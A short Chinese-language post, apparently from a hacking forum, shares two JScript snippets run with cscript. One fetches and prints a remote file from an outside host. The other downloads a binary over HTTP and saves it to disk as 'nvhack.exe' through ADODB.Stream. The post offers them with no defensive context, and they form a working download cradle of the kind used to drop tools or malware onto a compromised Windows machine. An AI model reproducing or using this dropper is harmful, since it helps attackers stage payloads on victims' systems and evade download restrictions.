JS一句话 csript

0x01，远程读取文件
cscript /nologo down.js https://www.xss.tv/baidu.txt
附上down.js代码

1. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
   
2. WinHttpReq.Open("GET",WScript.Arguments(0),/*async=*/false);
   
3. WinHttpReq.Send();
   
4. WScript.Echo(WinHttpReq.ResponseText);

复制代码

0x02，写入文件
cscript /nologo down.js https://www.xss.tv/baidu.txt
附上down.js代码

1. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
   
2. WinHttpReq.Open("GET",WScript.Arguments(0),/*async=*/false);
   
3. WinHttpReq.Send();
   
4. BinStream = new ActiveXObject("ADODB.Stream");
   
5. BinStream.Type = 1;
   
6. BinStream.Open();
   
7. BinStream.Write(WinHttpReq.ResponseBody);
   
8. BinStream.SaveToFile("nvhack.exe");
   

复制代码